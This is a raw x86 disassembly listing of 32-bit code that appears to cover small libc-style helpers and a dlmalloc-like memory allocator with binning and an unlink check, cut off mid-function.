804c483: 83 c4 10 add $0x10,%esp | |
804c486: 85 c0 test %eax,%eax | |
804c488: 79 16 jns 0x804c4a0 | |
804c48a: e8 27 01 00 00 call 0x804c5b6 | |
804c48f: 83 ec 0c sub $0xc,%esp | |
804c492: 89 c3 mov %eax,%ebx | |
804c494: 8b 30 mov (%eax),%esi | |
804c496: 57 push %edi | |
804c497: e8 37 fc ff ff call 0x804c0d3 | |
804c49c: 89 33 mov %esi,(%ebx) | |
804c49e: eb 75 jmp 0x804c515 | |
804c4a0: 83 ec 0c sub $0xc,%esp | |
804c4a3: 6a 30 push $0x30 | |
804c4a5: e8 c6 03 00 00 call 0x804c870 | |
804c4aa: 83 c4 10 add $0x10,%esp | |
804c4ad: 89 c3 mov %eax,%ebx | |
804c4af: 85 c0 test %eax,%eax | |
804c4b1: 74 4e je 0x804c501 | |
804c4b3: 89 38 mov %edi,(%eax) | |
804c4b5: c7 40 10 00 00 00 00 movl $0x0,0x10(%eax) | |
804c4bc: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) | |
804c4c3: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) | |
804c4ca: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c4ce: 89 43 14 mov %eax,0x14(%ebx) | |
804c4d1: 3d ff 01 00 00 cmp $0x1ff,%eax | |
804c4d6: 77 07 ja 0x804c4df | |
804c4d8: c7 43 14 00 02 00 00 movl $0x200,0x14(%ebx) | |
804c4df: 52 push %edx | |
804c4e0: 52 push %edx | |
804c4e1: ff 73 14 pushl 0x14(%ebx) | |
804c4e4: 6a 01 push $0x1 | |
804c4e6: e8 f9 0a 00 00 call 0x804cfe4 | |
804c4eb: 83 c4 10 add $0x10,%esp | |
804c4ee: 89 43 0c mov %eax,0xc(%ebx) | |
804c4f1: 85 c0 test %eax,%eax | |
804c4f3: 75 24 jne 0x804c519 | |
804c4f5: 83 ec 0c sub $0xc,%esp | |
804c4f8: 53 push %ebx | |
804c4f9: e8 37 11 00 00 call 0x804d635 | |
804c4fe: 83 c4 10 add $0x10,%esp | |
804c501: 83 ec 0c sub $0xc,%esp | |
804c504: 57 push %edi | |
804c505: e8 c9 fb ff ff call 0x804c0d3 | |
804c50a: e8 a7 00 00 00 call 0x804c5b6 | |
804c50f: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804c515: 31 db xor %ebx,%ebx | |
804c517: eb 0d jmp 0x804c526 | |
804c519: 50 push %eax | |
804c51a: 50 push %eax | |
804c51b: 8d 43 18 lea 0x18(%ebx),%eax | |
804c51e: 6a 00 push $0x0 | |
804c520: 50 push %eax | |
804c521: e8 73 18 00 00 call 0x804dd99 | |
804c526: 83 c4 10 add $0x10,%esp | |
804c529: 83 c4 60 add $0x60,%esp | |
804c52c: 89 d8 mov %ebx,%eax | |
804c52e: 5b pop %ebx | |
804c52f: 5e pop %esi | |
804c530: 5f pop %edi | |
804c531: c3 ret | |
804c532: 56 push %esi | |
804c533: 53 push %ebx | |
804c534: 83 ec 18 sub $0x18,%esp | |
804c537: 8b 74 24 24 mov 0x24(%esp),%esi | |
804c53b: 8d 5e 18 lea 0x18(%esi),%ebx | |
804c53e: 53 push %ebx | |
804c53f: 68 99 dd 04 08 push $0x804dd99 | |
804c544: 8d 44 24 10 lea 0x10(%esp),%eax | |
804c548: 50 push %eax | |
804c549: e8 4e 18 00 00 call 0x804dd9c | |
804c54e: 89 1c 24 mov %ebx,(%esp) | |
804c551: e8 43 18 00 00 call 0x804dd99 | |
804c556: 83 c4 10 add $0x10,%esp | |
804c559: 8b 46 08 mov 0x8(%esi),%eax | |
804c55c: 3b 46 04 cmp 0x4(%esi),%eax | |
804c55f: 77 23 ja 0x804c584 | |
804c561: 52 push %edx | |
804c562: ff 76 14 pushl 0x14(%esi) | |
804c565: ff 76 0c pushl 0xc(%esi) | |
804c568: ff 36 pushl (%esi) | |
804c56a: e8 6f 1c 00 00 call 0x804e1de | |
804c56f: 83 c4 10 add $0x10,%esp | |
804c572: 85 c0 test %eax,%eax | |
804c574: 7f 04 jg 0x804c57a | |
804c576: 31 db xor %ebx,%ebx | |
804c578: eb 26 jmp 0x804c5a0 | |
804c57a: 89 46 08 mov %eax,0x8(%esi) | |
804c57d: c7 46 04 00 00 00 00 movl $0x0,0x4(%esi) | |
804c584: 8b 46 04 mov 0x4(%esi),%eax | |
804c587: 89 c3 mov %eax,%ebx | |
804c589: 03 5e 0c add 0xc(%esi),%ebx | |
804c58c: 0f b7 53 08 movzwl 0x8(%ebx),%edx | |
804c590: 01 d0 add %edx,%eax | |
804c592: 89 46 04 mov %eax,0x4(%esi) | |
804c595: 8b 43 04 mov 0x4(%ebx),%eax | |
804c598: 89 46 10 mov %eax,0x10(%esi) | |
804c59b: 83 3b 00 cmpl $0x0,(%ebx) | |
804c59e: 74 b9 je 0x804c559 | |
804c5a0: 50 push %eax | |
804c5a1: 50 push %eax | |
804c5a2: 6a 01 push $0x1 | |
804c5a4: 8d 44 24 10 lea 0x10(%esp),%eax | |
804c5a8: 50 push %eax | |
804c5a9: e8 ee 17 00 00 call 0x804dd9c | |
804c5ae: 89 d8 mov %ebx,%eax | |
804c5b0: 83 c4 24 add $0x24,%esp | |
804c5b3: 5b pop %ebx | |
804c5b4: 5e pop %esi | |
804c5b5: c3 ret | |
804c5b6: b8 00 f1 04 08 mov $0x804f100,%eax | |
804c5bb: c3 ret | |
804c5bc: 83 ec 28 sub $0x28,%esp | |
804c5bf: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c5c3: 50 push %eax | |
804c5c4: e8 3f 20 00 00 call 0x804e608 | |
804c5c9: 8b 44 24 20 mov 0x20(%esp),%eax | |
804c5cd: 03 44 24 1c add 0x1c(%esp),%eax | |
804c5d1: 83 c4 2c add $0x2c,%esp | |
804c5d4: 69 c0 10 27 00 00 imul $0x2710,%eax,%eax | |
804c5da: 25 ff ff ff 7f and $0x7fffffff,%eax | |
804c5df: c3 ret | |
804c5e0: 57 push %edi | |
804c5e1: 56 push %esi | |
804c5e2: 8b 44 24 0c mov 0xc(%esp),%eax | |
804c5e6: 8b 74 24 10 mov 0x10(%esp),%esi | |
804c5ea: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804c5ee: 39 f0 cmp %esi,%eax | |
804c5f0: 73 06 jae 0x804c5f8 | |
804c5f2: 89 c7 mov %eax,%edi | |
804c5f4: f3 a4 rep movsb %ds:(%esi),%es:(%edi) | |
804c5f6: eb 0c jmp 0x804c604 | |
804c5f8: 8d 74 0e ff lea -0x1(%esi,%ecx,1),%esi | |
804c5fc: 8d 7c 08 ff lea -0x1(%eax,%ecx,1),%edi | |
804c600: fd std | |
804c601: f3 a4 rep movsb %ds:(%esi),%es:(%edi) | |
804c603: fc cld | |
804c604: 5e pop %esi | |
804c605: 5f pop %edi | |
804c606: c3 ret | |
804c607: 57 push %edi | |
804c608: 8b 44 24 0c mov 0xc(%esp),%eax | |
804c60c: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
804c610: 8b 7c 24 08 mov 0x8(%esp),%edi | |
804c614: f3 aa rep stos %al,%es:(%edi) | |
804c616: 8b 44 24 08 mov 0x8(%esp),%eax | |
804c61a: 5f pop %edi | |
804c61b: c3 ret | |
804c61c: 57 push %edi | |
804c61d: 56 push %esi | |
804c61e: 83 ec 04 sub $0x4,%esp | |
804c621: 8b 74 24 14 mov 0x14(%esp),%esi | |
804c625: 8b 7c 24 10 mov 0x10(%esp),%edi | |
804c629: ac lods %ds:(%esi),%al | |
804c62a: aa stos %al,%es:(%edi) | |
804c62b: 84 c0 test %al,%al | |
804c62d: 75 fa jne 0x804c629 | |
804c62f: 8b 44 24 10 mov 0x10(%esp),%eax | |
804c633: 5a pop %edx | |
804c634: 5e pop %esi | |
804c635: 5f pop %edi | |
804c636: c3 ret | |
804c637: 83 ec 24 sub $0x24,%esp | |
804c63a: 8d 44 24 20 lea 0x20(%esp),%eax | |
804c63e: 50 push %eax | |
804c63f: ff 74 24 2c pushl 0x2c(%esp) | |
804c643: e8 92 20 00 00 call 0x804e6da | |
804c648: 83 c4 10 add $0x10,%esp | |
804c64b: 83 ca ff or $0xffffffff,%edx | |
804c64e: 85 c0 test %eax,%eax | |
804c650: 74 04 je 0x804c656 | |
804c652: 8b 54 24 18 mov 0x18(%esp),%edx | |
804c656: 89 d0 mov %edx,%eax | |
804c658: 83 c4 1c add $0x1c,%esp | |
804c65b: c3 ret | |
804c65c: 83 ec 24 sub $0x24,%esp | |
804c65f: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c663: 89 44 24 18 mov %eax,0x18(%esp) | |
804c667: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c66b: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c66f: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c673: 89 44 24 20 mov %eax,0x20(%esp) | |
804c677: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c67b: 50 push %eax | |
804c67c: 6a 02 push $0x2 | |
804c67e: e8 4c 1a 00 00 call 0x804e0cf | |
804c683: 83 c4 2c add $0x2c,%esp | |
804c686: c3 ret | |
804c687: 83 ec 24 sub $0x24,%esp | |
804c68a: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c68e: 89 44 24 18 mov %eax,0x18(%esp) | |
804c692: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c696: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c69a: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c69e: 89 44 24 20 mov %eax,0x20(%esp) | |
804c6a2: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c6a6: 50 push %eax | |
804c6a7: 6a 03 push $0x3 | |
804c6a9: e8 21 1a 00 00 call 0x804e0cf | |
804c6ae: 83 c4 2c add $0x2c,%esp | |
804c6b1: c3 ret | |
804c6b2: 83 ec 24 sub $0x24,%esp | |
804c6b5: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c6b9: 89 44 24 18 mov %eax,0x18(%esp) | |
804c6bd: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c6c1: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c6c5: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c6c9: 89 44 24 20 mov %eax,0x20(%esp) | |
804c6cd: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c6d1: 50 push %eax | |
804c6d2: 6a 06 push $0x6 | |
804c6d4: e8 f6 19 00 00 call 0x804e0cf | |
804c6d9: 83 c4 2c add $0x2c,%esp | |
804c6dc: c3 ret | |
804c6dd: 83 ec 34 sub $0x34,%esp | |
804c6e0: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c6e4: 89 44 24 20 mov %eax,0x20(%esp) | |
804c6e8: 8b 44 24 3c mov 0x3c(%esp),%eax | |
804c6ec: 89 44 24 24 mov %eax,0x24(%esp) | |
804c6f0: 8b 44 24 40 mov 0x40(%esp),%eax | |
804c6f4: 89 44 24 28 mov %eax,0x28(%esp) | |
804c6f8: 8b 44 24 44 mov 0x44(%esp),%eax | |
804c6fc: 89 44 24 2c mov %eax,0x2c(%esp) | |
804c700: 8b 44 24 48 mov 0x48(%esp),%eax | |
804c704: 89 44 24 30 mov %eax,0x30(%esp) | |
804c708: 8d 44 24 20 lea 0x20(%esp),%eax | |
804c70c: 50 push %eax | |
804c70d: 6a 0f push $0xf | |
804c70f: e8 bb 19 00 00 call 0x804e0cf | |
804c714: 83 c4 3c add $0x3c,%esp | |
804c717: c3 ret | |
804c718: 83 ec 24 sub $0x24,%esp | |
804c71b: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c71f: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c723: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c727: 89 44 24 20 mov %eax,0x20(%esp) | |
804c72b: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804c72f: 50 push %eax | |
804c730: 6a 04 push $0x4 | |
804c732: e8 98 19 00 00 call 0x804e0cf | |
804c737: 83 c4 2c add $0x2c,%esp | |
804c73a: c3 ret | |
804c73b: 83 ec 24 sub $0x24,%esp | |
804c73e: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c742: 89 44 24 14 mov %eax,0x14(%esp) | |
804c746: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c74a: 89 44 24 18 mov %eax,0x18(%esp) | |
804c74e: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c752: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c756: 8b 44 24 34 mov 0x34(%esp),%eax | |
804c75a: 89 44 24 20 mov %eax,0x20(%esp) | |
804c75e: 8d 44 24 14 lea 0x14(%esp),%eax | |
804c762: 50 push %eax | |
804c763: 6a 0a push $0xa | |
804c765: e8 65 19 00 00 call 0x804e0cf | |
804c76a: 83 c4 2c add $0x2c,%esp | |
804c76d: c3 ret | |
804c76e: 83 ec 24 sub $0x24,%esp | |
804c771: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c775: 89 44 24 14 mov %eax,0x14(%esp) | |
804c779: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c77d: 89 44 24 18 mov %eax,0x18(%esp) | |
804c781: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c785: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c789: 8b 44 24 34 mov 0x34(%esp),%eax | |
804c78d: 89 44 24 20 mov %eax,0x20(%esp) | |
804c791: 8d 44 24 14 lea 0x14(%esp),%eax | |
804c795: 50 push %eax | |
804c796: 6a 09 push $0x9 | |
804c798: e8 32 19 00 00 call 0x804e0cf | |
804c79d: 83 c4 2c add $0x2c,%esp | |
804c7a0: c3 ret | |
804c7a1: 83 ec 34 sub $0x34,%esp | |
804c7a4: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c7a8: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c7ac: 8b 44 24 3c mov 0x3c(%esp),%eax | |
804c7b0: 89 44 24 20 mov %eax,0x20(%esp) | |
804c7b4: 8b 44 24 40 mov 0x40(%esp),%eax | |
804c7b8: 89 44 24 24 mov %eax,0x24(%esp) | |
804c7bc: 8b 44 24 44 mov 0x44(%esp),%eax | |
804c7c0: 89 44 24 28 mov %eax,0x28(%esp) | |
804c7c4: 8b 44 24 48 mov 0x48(%esp),%eax | |
804c7c8: 89 44 24 2c mov %eax,0x2c(%esp) | |
804c7cc: 8b 44 24 4c mov 0x4c(%esp),%eax | |
804c7d0: 89 44 24 30 mov %eax,0x30(%esp) | |
804c7d4: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804c7d8: 50 push %eax | |
804c7d9: 6a 0b push $0xb | |
804c7db: e8 ef 18 00 00 call 0x804e0cf | |
804c7e0: 83 c4 3c add $0x3c,%esp | |
804c7e3: c3 ret | |
804c7e4: 83 ec 34 sub $0x34,%esp | |
804c7e7: 8b 44 24 38 mov 0x38(%esp),%eax | |
804c7eb: 89 44 24 20 mov %eax,0x20(%esp) | |
804c7ef: 8b 44 24 3c mov 0x3c(%esp),%eax | |
804c7f3: 89 44 24 24 mov %eax,0x24(%esp) | |
804c7f7: 8b 44 24 40 mov 0x40(%esp),%eax | |
804c7fb: 89 44 24 28 mov %eax,0x28(%esp) | |
804c7ff: 8b 44 24 44 mov 0x44(%esp),%eax | |
804c803: 89 44 24 2c mov %eax,0x2c(%esp) | |
804c807: 8b 44 24 48 mov 0x48(%esp),%eax | |
804c80b: 89 44 24 30 mov %eax,0x30(%esp) | |
804c80f: 8d 44 24 20 lea 0x20(%esp),%eax | |
804c813: 50 push %eax | |
804c814: 6a 0e push $0xe | |
804c816: e8 b4 18 00 00 call 0x804e0cf | |
804c81b: 83 c4 3c add $0x3c,%esp | |
804c81e: c3 ret | |
804c81f: 83 ec 24 sub $0x24,%esp | |
804c822: 8b 44 24 28 mov 0x28(%esp),%eax | |
804c826: 89 44 24 18 mov %eax,0x18(%esp) | |
804c82a: 8b 44 24 2c mov 0x2c(%esp),%eax | |
804c82e: 89 44 24 1c mov %eax,0x1c(%esp) | |
804c832: 8b 44 24 30 mov 0x30(%esp),%eax | |
804c836: 89 44 24 20 mov %eax,0x20(%esp) | |
804c83a: 8d 44 24 18 lea 0x18(%esp),%eax | |
804c83e: 50 push %eax | |
804c83f: 6a 01 push $0x1 | |
804c841: e8 89 18 00 00 call 0x804e0cf | |
804c846: 83 c4 2c add $0x2c,%esp | |
804c849: c3 ret | |
804c84a: 89 c2 mov %eax,%edx | |
804c84c: 53 push %ebx | |
804c84d: c1 ea 08 shr $0x8,%edx | |
804c850: 89 c3 mov %eax,%ebx | |
804c852: 81 fa ff ff 00 00 cmp $0xffff,%edx | |
804c858: b8 5f 00 00 00 mov $0x5f,%eax | |
804c85d: 77 0f ja 0x804c86e | |
804c85f: 0f bd c2 bsr %edx,%eax | |
804c862: 8d 48 06 lea 0x6(%eax),%ecx | |
804c865: d3 eb shr %cl,%ebx | |
804c867: 83 e3 03 and $0x3,%ebx | |
804c86a: 8d 44 83 20 lea 0x20(%ebx,%eax,4),%eax | |
804c86e: 5b pop %ebx | |
804c86f: c3 ret | |
804c870: 55 push %ebp | |
804c871: 57 push %edi | |
804c872: 56 push %esi | |
804c873: 53 push %ebx | |
804c874: 83 ec 40 sub $0x40,%esp | |
804c877: 8b 5c 24 54 mov 0x54(%esp),%ebx | |
804c87b: 68 38 f0 04 08 push $0x804f038 | |
804c880: 68 99 dd 04 08 push $0x804dd99 | |
804c885: 8d 44 24 38 lea 0x38(%esp),%eax | |
804c889: 50 push %eax | |
804c88a: e8 0d 15 00 00 call 0x804dd9c | |
804c88f: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804c896: e8 fe 14 00 00 call 0x804dd99 | |
804c89b: 83 c4 10 add $0x10,%esp | |
804c89e: 83 fb df cmp $0xffffffdf,%ebx | |
804c8a1: 76 12 jbe 0x804c8b5 | |
804c8a3: e8 0e fd ff ff call 0x804c5b6 | |
804c8a8: 31 db xor %ebx,%ebx | |
804c8aa: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804c8b0: e9 25 07 00 00 jmp 0x804cfda | |
804c8b5: 8d 43 0b lea 0xb(%ebx),%eax | |
804c8b8: c7 44 24 14 10 00 00 movl $0x10,0x14(%esp) | |
804c8bf: 00 | |
804c8c0: 83 f8 0f cmp $0xf,%eax | |
804c8c3: 76 07 jbe 0x804c8cc | |
804c8c5: 83 e0 f8 and $0xfffffff8,%eax | |
804c8c8: 89 44 24 14 mov %eax,0x14(%esp) | |
804c8cc: 8b 1d 40 f2 04 08 mov 0x804f240,%ebx | |
804c8d2: f6 c3 01 test $0x1,%bl | |
804c8d5: 75 1d jne 0x804c8f4 | |
804c8d7: 85 db test %ebx,%ebx | |
804c8d9: 0f 85 f0 02 00 00 jne 0x804cbcf | |
804c8df: 83 ec 0c sub $0xc,%esp | |
804c8e2: 68 40 f2 04 08 push $0x804f240 | |
804c8e7: e8 a1 0b 00 00 call 0x804d48d | |
804c8ec: 83 c4 10 add $0x10,%esp | |
804c8ef: e9 db 02 00 00 jmp 0x804cbcf | |
804c8f4: 39 5c 24 14 cmp %ebx,0x14(%esp) | |
804c8f8: 77 1b ja 0x804c915 | |
804c8fa: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c8fe: d1 e8 shr %eax | |
804c900: 8d 88 40 f2 04 08 lea 0x804f240(%eax),%ecx | |
804c906: 8b 51 fc mov -0x4(%ecx),%edx | |
804c909: 85 d2 test %edx,%edx | |
804c90b: 74 08 je 0x804c915 | |
804c90d: 8b 42 08 mov 0x8(%edx),%eax | |
804c910: 89 41 fc mov %eax,-0x4(%ecx) | |
804c913: eb 39 jmp 0x804c94e | |
804c915: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp) | |
804c91c: 00 | |
804c91d: 77 37 ja 0x804c956 | |
804c91f: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c923: c1 e8 03 shr $0x3,%eax | |
804c926: 89 44 24 24 mov %eax,0x24(%esp) | |
804c92a: 8d 0c c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%ecx | |
804c931: 8b 51 0c mov 0xc(%ecx),%edx | |
804c934: 39 ca cmp %ecx,%edx | |
804c936: 0f 84 16 01 00 00 je 0x804ca52 | |
804c93c: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804c940: 8b 42 0c mov 0xc(%edx),%eax | |
804c943: 89 41 0c mov %eax,0xc(%ecx) | |
804c946: 83 4c 1a 04 01 orl $0x1,0x4(%edx,%ebx,1) | |
804c94b: 89 48 08 mov %ecx,0x8(%eax) | |
804c94e: 8d 5a 08 lea 0x8(%edx),%ebx | |
804c951: e9 73 06 00 00 jmp 0x804cfc9 | |
804c956: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c95a: e8 eb fe ff ff call 0x804c84a | |
804c95f: 80 e3 02 and $0x2,%bl | |
804c962: 89 44 24 24 mov %eax,0x24(%esp) | |
804c966: 0f 84 e6 00 00 00 je 0x804ca52 | |
804c96c: 83 ec 0c sub $0xc,%esp | |
804c96f: 68 40 f2 04 08 push $0x804f240 | |
804c974: e8 14 0b 00 00 call 0x804d48d | |
804c979: 83 c4 10 add $0x10,%esp | |
804c97c: e9 d1 00 00 00 jmp 0x804ca52 | |
804c981: 8b 7d 04 mov 0x4(%ebp),%edi | |
804c984: 8b 55 0c mov 0xc(%ebp),%edx | |
804c987: 83 e7 fc and $0xfffffffc,%edi | |
804c98a: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp) | |
804c991: 00 | |
804c992: 77 1f ja 0x804c9b3 | |
804c994: 81 fa 74 f2 04 08 cmp $0x804f274,%edx | |
804c99a: 75 17 jne 0x804c9b3 | |
804c99c: 3b 2d 70 f2 04 08 cmp 0x804f270,%ebp | |
804c9a2: 75 0f jne 0x804c9b3 | |
804c9a4: 8b 44 24 14 mov 0x14(%esp),%eax | |
804c9a8: 83 c0 10 add $0x10,%eax | |
804c9ab: 39 c7 cmp %eax,%edi | |
804c9ad: 0f 87 b1 05 00 00 ja 0x804cf64 | |
804c9b3: b8 74 f2 04 08 mov $0x804f274,%eax | |
804c9b8: 89 42 08 mov %eax,0x8(%edx) | |
804c9bb: 89 50 0c mov %edx,0xc(%eax) | |
804c9be: 3b 7c 24 14 cmp 0x14(%esp),%edi | |
804c9c2: 0f 84 dd 05 00 00 je 0x804cfa5 | |
804c9c8: 81 ff ff 00 00 00 cmp $0xff,%edi | |
804c9ce: 77 11 ja 0x804c9e1 | |
804c9d0: 89 fe mov %edi,%esi | |
804c9d2: c1 ee 03 shr $0x3,%esi | |
804c9d5: 8d 1c f5 6c f2 04 08 lea 0x804f26c(,%esi,8),%ebx | |
804c9dc: 8b 43 08 mov 0x8(%ebx),%eax | |
804c9df: eb 25 jmp 0x804ca06 | |
804c9e1: 89 f8 mov %edi,%eax | |
804c9e3: e8 62 fe ff ff call 0x804c84a | |
804c9e8: 89 c6 mov %eax,%esi | |
804c9ea: 8d 04 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%eax | |
804c9f1: 8b 50 08 mov 0x8(%eax),%edx | |
804c9f4: 89 54 24 0c mov %edx,0xc(%esp) | |
804c9f8: 89 d3 mov %edx,%ebx | |
804c9fa: 39 c2 cmp %eax,%edx | |
804c9fc: 74 2c je 0x804ca2a | |
804c9fe: 8b 58 0c mov 0xc(%eax),%ebx | |
804ca01: 3b 7b 04 cmp 0x4(%ebx),%edi | |
804ca04: 73 06 jae 0x804ca0c | |
804ca06: 89 44 24 0c mov %eax,0xc(%esp) | |
804ca0a: eb 1e jmp 0x804ca2a | |
804ca0c: 89 f8 mov %edi,%eax | |
804ca0e: 83 c8 01 or $0x1,%eax | |
804ca11: eb 0b jmp 0x804ca1e | |
804ca13: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804ca17: 8b 49 08 mov 0x8(%ecx),%ecx | |
804ca1a: 89 4c 24 0c mov %ecx,0xc(%esp) | |
804ca1e: 8b 5c 24 0c mov 0xc(%esp),%ebx | |
804ca22: 3b 43 04 cmp 0x4(%ebx),%eax | |
804ca25: 72 ec jb 0x804ca13 | |
804ca27: 8b 5b 0c mov 0xc(%ebx),%ebx | |
804ca2a: 89 f2 mov %esi,%edx | |
804ca2c: 83 e6 1f and $0x1f,%esi | |
804ca2f: 89 f1 mov %esi,%ecx | |
804ca31: b8 01 00 00 00 mov $0x1,%eax | |
804ca36: c1 fa 05 sar $0x5,%edx | |
804ca39: d3 e0 shl %cl,%eax | |
804ca3b: 09 04 95 74 f5 04 08 or %eax,0x804f574(,%edx,4) | |
804ca42: 89 5d 0c mov %ebx,0xc(%ebp) | |
804ca45: 8b 74 24 0c mov 0xc(%esp),%esi | |
804ca49: 89 75 08 mov %esi,0x8(%ebp) | |
804ca4c: 89 6b 08 mov %ebp,0x8(%ebx) | |
804ca4f: 89 6e 0c mov %ebp,0xc(%esi) | |
804ca52: 8b 2d 80 f2 04 08 mov 0x804f280,%ebp | |
804ca58: 81 fd 74 f2 04 08 cmp $0x804f274,%ebp | |
804ca5e: 0f 85 1d ff ff ff jne 0x804c981 | |
804ca64: 81 7c 24 14 ff 00 00 cmpl $0xff,0x14(%esp) | |
804ca6b: 00 | |
804ca6c: 0f 86 80 00 00 00 jbe 0x804caf2 | |
804ca72: 8b 44 24 24 mov 0x24(%esp),%eax | |
804ca76: 8d 14 c5 6c f2 04 08 lea 0x804f26c(,%eax,8),%edx | |
804ca7d: 8b 42 0c mov 0xc(%edx),%eax | |
804ca80: eb 6c jmp 0x804caee | |
804ca82: 8b 58 04 mov 0x4(%eax),%ebx | |
804ca85: 8b 48 0c mov 0xc(%eax),%ecx | |
804ca88: 83 e3 fc and $0xfffffffc,%ebx | |
804ca8b: 3b 5c 24 14 cmp 0x14(%esp),%ebx | |
804ca8f: 72 5b jb 0x804caec | |
804ca91: 8b 50 08 mov 0x8(%eax),%edx | |
804ca94: 39 42 0c cmp %eax,0xc(%edx) | |
804ca97: 75 05 jne 0x804ca9e | |
804ca99: 39 41 08 cmp %eax,0x8(%ecx) | |
804ca9c: 74 05 je 0x804caa3 | |
804ca9e: e8 2e 0d 00 00 call 0x804d7d1 | |
804caa3: 89 de mov %ebx,%esi | |
804caa5: 2b 74 24 14 sub 0x14(%esp),%esi | |
804caa9: 89 4a 0c mov %ecx,0xc(%edx) | |
804caac: 89 51 08 mov %edx,0x8(%ecx) | |
804caaf: 83 fe 0f cmp $0xf,%esi | |
804cab2: 8d 48 08 lea 0x8(%eax),%ecx | |
804cab5: 0f 86 f8 04 00 00 jbe 0x804cfb3 | |
804cabb: 8b 5c 24 14 mov 0x14(%esp),%ebx | |
804cabf: 8d 14 18 lea (%eax,%ebx,1),%edx | |
804cac2: 83 cb 01 or $0x1,%ebx | |
804cac5: 89 58 04 mov %ebx,0x4(%eax) | |
804cac8: 89 f0 mov %esi,%eax | |
804caca: 83 c8 01 or $0x1,%eax | |
804cacd: 89 55 08 mov %edx,0x8(%ebp) | |
804cad0: 89 55 0c mov %edx,0xc(%ebp) | |
804cad3: c7 42 08 74 f2 04 08 movl $0x804f274,0x8(%edx) | |
804cada: c7 42 0c 74 f2 04 08 movl $0x804f274,0xc(%edx) | |
804cae1: 89 42 04 mov %eax,0x4(%edx) | |
804cae4: 89 34 32 mov %esi,(%edx,%esi,1) | |
804cae7: e9 cc 04 00 00 jmp 0x804cfb8 | |
804caec: 89 c8 mov %ecx,%eax | |
804caee: 39 d0 cmp %edx,%eax | |
804caf0: 75 90 jne 0x804ca82 | |
804caf2: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804caf6: be 01 00 00 00 mov $0x1,%esi | |
804cafb: 41 inc %ecx | |
804cafc: 89 cf mov %ecx,%edi | |
804cafe: c1 ef 05 shr $0x5,%edi | |
804cb01: 8d 1c cd 6c f2 04 08 lea 0x804f26c(,%ecx,8),%ebx | |
804cb08: 83 e1 1f and $0x1f,%ecx | |
804cb0b: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx | |
804cb12: d3 e6 shl %cl,%esi | |
804cb14: 39 d6 cmp %edx,%esi | |
804cb16: 77 04 ja 0x804cb1c | |
804cb18: 85 f6 test %esi,%esi | |
804cb1a: 75 2c jne 0x804cb48 | |
804cb1c: 47 inc %edi | |
804cb1d: 83 ff 02 cmp $0x2,%edi | |
804cb20: 0f 87 a9 00 00 00 ja 0x804cbcf | |
804cb26: 8b 14 bd 74 f5 04 08 mov 0x804f574(,%edi,4),%edx | |
804cb2d: 85 d2 test %edx,%edx | |
804cb2f: 74 eb je 0x804cb1c | |
804cb31: 89 f8 mov %edi,%eax | |
804cb33: be 01 00 00 00 mov $0x1,%esi | |
804cb38: c1 e0 08 shl $0x8,%eax | |
804cb3b: 8d 98 6c f2 04 08 lea 0x804f26c(%eax),%ebx | |
804cb41: eb 05 jmp 0x804cb48 | |
804cb43: 83 c3 08 add $0x8,%ebx | |
804cb46: 01 f6 add %esi,%esi | |
804cb48: 85 f2 test %esi,%edx | |
804cb4a: 74 f7 je 0x804cb43 | |
804cb4c: 8b 4b 0c mov 0xc(%ebx),%ecx | |
804cb4f: 39 d9 cmp %ebx,%ecx | |
804cb51: 75 14 jne 0x804cb67 | |
804cb53: 89 f0 mov %esi,%eax | |
804cb55: 8d 59 08 lea 0x8(%ecx),%ebx | |
804cb58: f7 d0 not %eax | |
804cb5a: 21 c2 and %eax,%edx | |
804cb5c: 01 f6 add %esi,%esi | |
804cb5e: 89 14 bd 74 f5 04 08 mov %edx,0x804f574(,%edi,4) | |
804cb65: eb ad jmp 0x804cb14 | |
804cb67: 8b 51 04 mov 0x4(%ecx),%edx | |
804cb6a: 8b 41 0c mov 0xc(%ecx),%eax | |
